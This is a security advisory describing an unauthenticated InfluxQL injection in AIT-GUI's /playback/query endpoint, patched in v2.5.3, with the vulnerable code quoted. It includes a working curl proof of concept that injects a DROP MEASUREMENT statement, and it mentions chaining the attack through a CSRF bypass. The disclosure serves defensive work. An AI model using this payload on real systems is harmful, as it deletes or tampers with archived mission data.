Unauthenticated InfluxQL injection in /playback/query
Description
handle_playback_query_post builds an InfluxQL query by directly string- formatting three request parameters (packet, startTime, endTime) with no escaping or validation, then executes it against the InfluxDB historian. An attacker who can reach the endpoint (directly on the network, or cross-site via Finding 1) can inject arbitrary InfluxQL. Because the InfluxDB query API accepts multiple ;-separated statements, this extends beyond data disclosure to destructive statements such as DROP MEASUREMENT / DROP SERIES. The endpoint performs no session or CSRF-token check.
Patch
v2.5.3
Fix Details
- AIT-GUI now validates start and endtime before formatting it a SQL Statement.
Vunerability Details
ait/gui/__init__.py:1390:
@App.route("/playback/query", method="POST")
def handle_playback_query_post():
...
packet = bottle.request.forms.get("packet")
start_time = bottle.request.forms.get("startTime")
end_time = bottle.request.forms.get("endTime")
uid = tlm_dict[packet].uid
point_query = "SELECT * FROM \"{}\" WHERE time >= '{}' AND time <= '{}'".format(
packet, start_time, end_time
)
points = list(playback.dbconn.query(point_query).get_points())start_time and end_time are placed inside single quotes with no sanitation, so a value such as
2020-01-01T00:00:00Z' ; DROP MEASUREMENT "1553_HS_Packet" ; --closes the quoted literal and appends a second statement. packet is constrained to a valid telemetry-dictionary key (it is used as tlm_dict[packet].uid first, raising KeyError otherwise), but start_time and end_time are entirely free-form. The same unsanitised SELECT * FROM "{}" pattern also appears in handle_playback_range_get (ait/gui/__init__.py:1359); there the value comes from the database rather than the client, but it demonstrates the pattern is systemic.
Preconditions: telemetry playback must be enabled — i.e. the ait.core.server.plugins.data_archive.DataArchive plugin is configured and a database connection succeeds (Playback._db_connect, ait/gui/__init__.py:208).
PoC
With playback enabled:
curl -X POST http://localhost:8080/playback/query \
--data-urlencode 'packet=1553_HS_Packet' \
--data-urlencode "startTime=2020-01-01T00:00:00Z' ; DROP MEASUREMENT \"1553_HS_Packet\" ; --" \
--data-urlencode 'endTime=2020-01-02T00:00:00Z'The resulting statement sent to InfluxDB is:
SELECT * FROM "1553_HS_Packet" WHERE time >= '2020-01-01T00:00:00Z' ; DROP MEASUREMENT "1553_HS_Packet" ; --' AND time <= '2020-01-02T00:00:00Z'For a browser-delivered (CSRF) variant, chain with the Origin: null bypass in previous finding.
Impact
InfluxQL injection (CWE-89). Any client able to reach /playback/query — no authentication or CSRF token required — can read arbitrary measurements from the telemetry historian and, via multi-statement queries, delete or otherwise tamper with archived mission telemetry. Combined with Finding 1 it is exploitable purely by luring an operator to a web page.